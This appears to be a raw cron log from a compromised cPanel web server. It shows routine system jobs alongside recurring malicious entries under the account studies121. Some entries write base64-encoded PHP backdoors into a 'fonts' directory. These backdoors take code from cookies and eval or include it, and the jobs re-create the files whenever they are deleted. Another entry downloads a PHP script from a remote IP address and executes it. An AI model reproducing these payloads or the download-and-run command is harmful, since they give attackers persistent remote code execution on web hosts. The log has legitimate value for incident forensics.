Sep  1 07:13:01 ip-184-168-122-23 CROND[10154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:13:01 ip-184-168-122-23 CROND[10153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:14:01 ip-184-168-122-23 CROND[10277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:14:01 ip-184-168-122-23 CROND[10279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:14:01 ip-184-168-122-23 CROND[10281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:14:01 ip-184-168-122-23 CROND[10284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:14:01 ip-184-168-122-23 CROND[10283]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:15:01 ip-184-168-122-23 CROND[10397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:15:01 ip-184-168-122-23 CROND[10401]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:15:01 ip-184-168-122-23 CROND[10398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:15:01 ip-184-168-122-23 CROND[10404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:15:01 ip-184-168-122-23 CROND[10406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:15:01 ip-184-168-122-23 CROND[10408]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:16:01 ip-184-168-122-23 CROND[10516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:16:01 ip-184-168-122-23 CROND[10519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:16:01 ip-184-168-122-23 CROND[10520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:16:01 ip-184-168-122-23 CROND[10521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:16:01 ip-184-168-122-23 CROND[10524]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 07:16:01 ip-184-168-122-23 CROND[10523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:17:01 ip-184-168-122-23 CROND[10647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:17:01 ip-184-168-122-23 CROND[10650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:17:01 ip-184-168-122-23 CROND[10651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:17:01 ip-184-168-122-23 CROND[10649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:18:01 ip-184-168-122-23 CROND[10828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:18:01 ip-184-168-122-23 CROND[10829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:18:01 ip-184-168-122-23 CROND[10831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:18:01 ip-184-168-122-23 CROND[10832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:18:01 ip-184-168-122-23 CROND[10833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:19:01 ip-184-168-122-23 CROND[10923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:19:01 ip-184-168-122-23 CROND[10924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:19:01 ip-184-168-122-23 CROND[10925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:19:01 ip-184-168-122-23 CROND[10927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:20:02 ip-184-168-122-23 CROND[11049]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:20:02 ip-184-168-122-23 CROND[11053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:20:02 ip-184-168-122-23 CROND[11052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:20:02 ip-184-168-122-23 CROND[11054]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 07:20:02 ip-184-168-122-23 CROND[11051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:20:02 ip-184-168-122-23 CROND[11048]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 07:20:02 ip-184-168-122-23 CROND[11055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:20:02 ip-184-168-122-23 CROND[11050]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:20:02 ip-184-168-122-23 CROND[11064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:21:01 ip-184-168-122-23 CROND[11168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:21:01 ip-184-168-122-23 CROND[11169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:21:01 ip-184-168-122-23 CROND[11170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:21:01 ip-184-168-122-23 CROND[11171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:22:01 ip-184-168-122-23 CROND[11271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:22:01 ip-184-168-122-23 CROND[11272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:22:01 ip-184-168-122-23 CROND[11273]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:22:01 ip-184-168-122-23 CROND[11276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:22:01 ip-184-168-122-23 CROND[11278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:23:01 ip-184-168-122-23 CROND[11413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:23:01 ip-184-168-122-23 CROND[11415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:23:01 ip-184-168-122-23 CROND[11416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:23:01 ip-184-168-122-23 CROND[11417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:24:02 ip-184-168-122-23 CROND[11613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:24:02 ip-184-168-122-23 CROND[11614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:24:02 ip-184-168-122-23 CROND[11615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:24:02 ip-184-168-122-23 CROND[11619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:24:02 ip-184-168-122-23 CROND[11621]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:25:01 ip-184-168-122-23 CROND[11750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:25:01 ip-184-168-122-23 CROND[11752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:25:01 ip-184-168-122-23 CROND[11753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
